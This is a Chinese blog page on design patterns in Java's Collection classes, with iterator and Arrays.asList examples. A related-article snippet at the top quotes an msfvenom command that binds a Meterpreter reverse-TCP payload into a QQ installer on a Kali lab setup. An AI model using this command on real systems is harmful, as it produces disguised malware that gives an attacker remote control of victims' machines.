Collection中的设计模式

msfconsole捆绑木马 捆绑木马 这里使用的是Kalilinux虚拟机 攻击机ip是192.168.0.108 靶机ip是192.168.177.134 生成木马文件 首先上传一个正常的安装包到kali里面 我这里下了一个QQ 把它上传到了root路径下 然后开始捆绑 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 -f exe -x /root/dy/PCQQ2020.exe -o /root/dy/QQ.exe -p:指定后面. 阅读详情

迭代器模式

调用iterator方法,获取迭代器Iterator

 

import java.util.ArrayList;
import java.util.Collection;
import java.util.Iterator;

public class TestCollection {
    public static void main(String[] args) {
     Collection pers=new ArrayList();
     pers.add(new Person("jarvis",18));
     pers.add(new Person("robin",18));
     pers.add(new Person("wzb",18));

        Iterator iterator=pers.iterator();

// 判断,如果返回true,则进行下一步
// Way1
        while (true) {
            if (iterator.hasNext()) {
                System.out.println("Way1" + iterator.next());
            } else {
                break;
            }
        }
//Way 2
        while (iterator.hasNext()) {
            System.out.println("Way2" + iterator.next());
        }

        //为了简化Iterator的语法,jdk5.0出现增强for,本质上就是Iterator,只是语法简化了
//Way3
        for (Object o : pers) {
            System.out.println("Way3" + o);
        }

    }
}

foreach 方法来遍历

从 JDK 1.5 之后可以使用 foreach 方法来遍历实现了 Iterable 接口的聚合对象

for(元素类型 元素名:集合或数组名){

}

问题:Way2没有输出,为什么呢?

import java.util.ArrayList;
import java.util.Collection;
import java.util.Iterator;

public class TestCollection {
    public static void main(String[] args) {
        Collection pers = new ArrayList();
        pers.add(new Person("jarvis", 18));
        pers.add(new Person("robin", 18));
        pers.add(new Person("wzb", 18));

        Iterator iterator = pers.iterator();


        while (iterator.hasNext()) {
            pers.add(new Person("xiaoyu",17));
            System.out.println(iterator.next());
        }

    }
}

 

报错:java.util.ConcurrentModificationException  非同步的更新异常

import java.util.ArrayList;
import java.util.Collection;
import java.util.Iterator;

public class TestCollection {
    public static void main(String[] args) {
        Collection pers = new ArrayList();
        pers.add(new Person("jarvis", 20));
        pers.add(new Person("robin", 18));
        pers.add(new Person("wzb", 21));

        Iterator iterator = pers.iterator();


        while (iterator.hasNext()) {
            Person next=(Person)iterator.next();
            if(next.age<19){
                pers.remove(next);
            }
            System.out.println(iterator.next());

        }

    }
}

 

还是错,这次是NoSuchElementException

 

每次都会去比较记录的实际的个数

为了避免出现信息不安全,影响自己本身的功能,设立了一个变量,记录实际有几个

 

使用迭代器过程,不适合做增删,容易报异常ConCurrentModificationException

使用迭代器过程。可以做修改,但如果修改地址,没有效果

使用迭代器过程,如非要删除,可以使用迭代器本身的remove方法

 

适配器模式

java.util.Arrays#asList() 可以把数组类型转换为 List 类型。

应该注意的是 asList() 的参数为泛型的变长参数,不能使用基本类型数组作为参数,只能使用相应的包装类型数组。

import java.util.Arrays;
import java.util.List;

public class dasdsa {
    public static void main(String[] args) {
        Student[] students=new Student[3];
        students[0]=new Student();
        students[1]=new Student();
        students[2]=new Student();
        students[0].setAge(20);
        System.out.println("students[0] 的年纪 = " + students[0].age);
        System.out.println("students数组的长度 = " + students.length);
    /*
    复制数组
     */
        //先新建一个数组
        Student[] newstudents=new Student[students.length+1];
        //再复制过去
        for (int i = 0; i <students.length ; i++) {
            newstudents[i]=students[i];
        }
        //也可使用arraycopy进行复制
        //System.arraycopy(students,0,newstudents,0,3);
        System.out.println("newstudents[0] 的年纪 = " + newstudents[0].age);
        System.out.println("newstudents数组的长度 = " + newstudents.length);



        List list= Arrays.asList(newstudents);

        System.out.println("list = " + list);
        System.out.println("list size = " + list.size());

        for (int i = 0; i <list.size() ; i++) {
            System.out.println(list.get(i).toString());
        }


    }


}

class Student {
    String name;
    int age;
    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

students数组转为List成功,但是newstudents数组转化失败

 

也可以使用以下方式调用 asList():

import java.util.Arrays;
import java.util.List;

public class dasdsa {
    public static void main(String[] args) {
        List list = Arrays.asList(1, 2, 3);
        System.out.println("list = " + list);

    }
}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

STM32_WS2811驱动 STM32的WS2811驱动 阅读详情

相关推荐

Windows平台无人机仿真:从零搭建SITL环境与QGC联调

本文详细指导了在Windows平台上从零搭建无人机软件在环(SITL)仿真环境,并与QGroundControl(QGC)进行联调的完整流程。通过使用Cygwin工具链,开发者可以在没有实体硬件的情况下,模拟运行ArduPilot飞控,并通过MAVLink协议连接QGC地面站进行全功能测试,为无人机软件开发提供了一个安全、经济的虚拟沙盒环境。

weixin_29239279的博客 411

Java编程的逻辑 (54) - 剖析Collections - 设计模式

本系列文章经补充和完善,已修订整理成书《Java编程的逻辑》,由机械工业出版社华章分社出版,于2018年1月上市热销,读者好评如潮!各大网店和书店有售,欢迎购买,京东自营链接:http://item.jd.com/12299018.html 上节我们提到,类Collections中大概有两类功能,第一类是对容器接口对象进行操作,第二类是返回一个容器接口对象,上节我们介绍了第一类...

241

北航论文模板:解决XeLaTeX中Font shape'TU/SimSun(1)/b/n' undefined(font) using 'TU/SimSun(1)/m/n' instead

北航论文模板:解决XeLaTeX中Font shape ‘TU/SimSun(1)/b/n’ undefined(font) using ‘TU/SimSun(1)/m/n’ instead 问题 问题描述: 在使用北航论文模板时,产生了warning:Font shape 'TU/SimSun(1)/b/n' undefined(font) using 'TU/SimSun(1)/m/n' i...

qq_39560620的博客 1万+

Collection遍历方式

Collection遍历方式

小何的博客 1117

【人工智能】你知道什么是DeepSeek吗?你有去了解过DeepSeek吗?新手要入门DeepSeek的必经之路——初识DeepSeek

【人工智能】初识DeepSeek 详细介绍DeepSeek以及DeepSeek-R1

蒙奇D索大的博客 3382

OpenMV识别颜色源码

【代码】OpenMV识别颜色源码。

dxt258013的博客 403

Java39——java集合之Iterator接口与foreach循环

1.遍历Collection的两种方式: ① 使用迭代器Iterator ② foreach循环(或增强for循环) 2.java.utils包下定义的迭代器接口:Iterator 2.1说明: Iterator对象称为迭代器(设计模式的一种),主要用于遍历 Collection 集合中的元素。 GOF给迭代器模式的定义为:提供一种方法访问一个容器(container)对象中各个元素,而又不需暴露该对象的内部细节。迭代器模式,就是为容器而生。 2.2作用:遍历集合Collectiton元素 2....

youhaitao_do的博客 553

Zemax实战:5步搞定牛顿望远镜光学设计(附球差优化技巧)

本文详细介绍了在Zemax OpticStudio中构建高精度牛顿望远镜光学系统的5步实战流程,包括初始参数设置、球差优化、折叠镜与遮光面配置等关键步骤。特别针对球差问题,提供了将主镜圆锥系数设为-1的优化方案,有效消除轴上弥散斑。通过3D视图和MTF分析验证,该系统可实现接近衍射极限的成像质量,适合天文观测等应用场景。

x8y9z0的博客 929

遍历Collection集合的四种方法

第一种:直接使用Java5提供的foreach循环import java.util.ArrayList; import java.util.Collection; public class Demo { public static void main(String[] args) { Collection&lt;String&gt; c = new ArrayList&lt;String...

weixin_40808638的博客 1万+

同步调相机启动与并网控制技术方案

同步调相机起动与并网控制技术方案采用背靠背变流器系统,通过静止变频器(SFC)策略实现无原动机驱动的同步电机从静止到同步转速的平稳起动。方案详细阐述了硬件自检、模块初始化、转子位置检测等关键环节,重点解决启动转矩为零、冲击电流大等挑战。系统基于STM32或C2000系列控制器,包含网侧/机侧变流器、检测保护单元及通信接口,通过励磁脉冲和电压响应分析实现高精度转子初始定位,为后续并网提供必要条件。代码级实现涵盖了ADC自检、数字IO验证及通信端口测试等核心功能。

huanghm88的专栏 307

光学传播仿真软件:ASAP_(1).ASAP软件介绍与安装

ASAP(Advanced System for Analysis and Propagation)是一款强大的光学传播仿真软件,广泛应用于光学系统的设计、分析和优化。它提供了丰富的建模工具和仿真功能,可以帮助用户从简单的光学元件到复杂的光学系统进行仿真。:支持光学、机械、热学等多物理场的联合仿真。:采用高精度的算法,确保仿真结果的准确性。:内置了大量的光学元件,如透镜、反射镜、棱镜、光栅等。:提供直观的用户界面,支持多种建模和仿真方式。:支持使用脚本语言进行二次开发,增强软件的定制能力。

kkchenjj的博客 1593

Collection集合的遍历方式

for(被遍历集合或者数组中元素的类型 变量名称 : 被遍历集合或者数组){:foreach遍历无法知道遍历到了哪个元素了,因为没有索引。Collection集合的遍历方式是全部集合都可以直接使用的。通过it.hasNext()询问是否有下一个元素,有就通过。:判断是否有下一个元素,有返回true ,反之。:获取集合对应的迭代器,用来遍历集合中的元素的。(2)foreach(增强for循环)。it.next()取出下一个元素。foreach遍历集合实际上是。1.获取当前集合的迭代器。:获取下一个元素值!

qq_45801839的博客 1593

【ARMv8 异常模型入门及渐进7 - GIC及安全中断介绍】

GIC-v3中,引入了支持2种安全状态(secure state),也就是对于中断,根据secure状态,分为安全中断和非安全中断。当然也可以只支持一种安全状态。这里的2种安全状态和1种安全状态,主要是影响中断分组,所使用IRQ和FIQ管脚的映射,以及gic中的寄存器访问。

CodingCos的博客 2116

容器(Collection/Map)、容器中的设计模式

1.容器 主要包括: Collection:存储着对象的集合 Map:存储着键值对(两个对象) 的映射表。 1.1 Collection Set List Queue 1.1.1 Set TreeSet: HashSet LinkedHashSet 对比: 基于 支持 时间复杂度 TreeSet 红黑树 有序性操作 O(logN)...

Zhxin606a的博客 370

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

设计模式下具有Collection的属性的实现.

设计模式下具有Collection的属性的实现. 转载于:https://www.cnblogs.com/friendwang1001/archive/2008/04/16/1155634.html

100

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

IO:【设计模式】 装饰者与IO/Collection框架

【设计模式】 装饰者与IO/Collection框架:[url]http://www.iteye.com/topic/450261[/url]

竹林闲人 164

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

JDK Collection 源码分析(1)—— Collection

JDK Collection JDK Collection作为一个最顶层的接口(root interface),JDK并不提供该接口的直接实现,而是通过更加具体的子接口(sub interface)的实现。该接口存在是因为有时候需要更加通用的Collection来对元素进行操作,比如一个方法,接收一个Collection,那么就可以不考虑其具体到底是List还是Set之类的。 其...

diaoxie6172的博客 177

第6讲 流、Collection集合、接口、进程、线程、设计模式、反射

1 流的分类 1)按照方向分类:输入流 输出流 2)按照操作的单位分类:字节流 字符流 3)组合情况:字节输入流 字节输出流 字符输入流 字符输出流 2 字节输入流InputStream 1)抽象父级:InputStream–不能实例化 2)普通子级: 1、FileInputStream–操作文件的字节输入流 构造方法参数:File file / String pathname 2、BufferedInputStream–高效字节输...

Lushao6688的博客 820

Windows应用开发中常用的设计模式

本文介绍一部分在Windows应用开发中常用的设计模式,值得一提的是在Windwos平台并不存在很多得到大家公认的模式,本文介绍的3种设计模式来源于Microsoft的网站和一些技术书籍。本文主要介绍两种模式:Mike McClure (Microsoft)在MSDN上提出的Entity-Collection-Class(ECC)模式,以及Bryan Costanich从ECC模式衍生的Man

冰雨的专栏 1598

php 默认是非持久化吗,[php]Collection跟持久化工厂

[php]Collection和持久化工厂Mapper类中的findById($id)可以从数据库中取出指定id的一条数据,映射成一个对象返回。很多时候我们需要返回一个数据集合(findAll),那我们就需要一种数据结构来保存这些数据,在需要时映射成对象。既然一条数据映射成一个对象,那么一个数据集合就需要一个对象集合。可以把数据集合和对象集合放在一个类中,这样就方便处理数据到对象的映射了。我们把这...

weixin_36364044的博客 119

設計模式之Iterator

這個模式已經被用來遍曆 Collection 中物件 。 使用頻率很高 。 在 Java 中無需專門闡述 , 在大多數場合也無需自己製造一個 Iterator, 只要將物件裝入 Collection 中,我們就直接可以使用 Iterator 模式。 ...

万丈阳光 104

java设计模式迭代器模式_Java中的迭代器设计模式

java设计模式迭代器模式Iterator design pattern in one of the behavioral pattern. Iterator pattern is used to provide a standard way to traverse through a group of Objects. Iterator pattern is widely used in Jav...

从零开始的教程世界 154

从Java类库看设计模式(4)

在上一部分中,介绍了两个结构型的模式:Bridge和Decorator。这一部分的内容,将会接着上面的讲解,继续我们的设计模式之旅。 这一部分,除了还会介绍一个结构型的Composite模式之外,还会有两个行为模式登场。实际上在前面的内容中,我们已经接触到行为模式了:Observer和Command就是两个典型的行为模式。行为模式更多的注重于算法和对象建间职责的分配,也就是说,它会更多的关注

kongji103的博客 306

高级java作业(反射、Collection、正则、工厂设计模式和观察者模式)

《反射、Collection接口、正则、工厂设计模式、观察者模式》

cos的博客 830

设计模式—工厂设计模式

工厂设计模式1.概述2.简单工厂模式2.1 结构2.2 实现2.3 优缺点2.4 扩展3.工厂方法模式3.1 概述3.2 结构3.3 实现3.4 优缺点4.抽象工厂模式4.1 概述4.2 结构4.3 实现4.4 优缺点4.5 应用场景5.扩展模式5.1 第一步:定义配置文件5.2 改写工厂类6.JDK源码解析—Collection.iterator方法 1.概述 在java中,万物皆对象,这些对象都需要创建,如果创建的时候直接new该对象,就会对该对象耦合严重,假如我们要更换对象,所有new对象的地方都需

洛晓关的博客 1462

Java 笔记 19:Collection,迭代器

Collection 数据结构,容器: 用来装对象…,等各种管理对象的容器。 容器有相同的操作标准: (1)增 (2)删 (3)改 (4)查 … Java给这些集合抽取两大接口: 1、Collection: 规范单值集合的接口,obj --》单身party 2、Map 规范对值集合的接口,(key,value) -->情侣party 一、Collection 1、Collection:接口 (1)它是根接口 (2)它没有直接的实现类,有更具体的子接口:List和Set…

qq_40473204的博客 155
上一篇: Collection接口常见方法
下一篇: IDEA debug调试方法
a-bit
博客等级 码龄10年 16粉丝 82原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值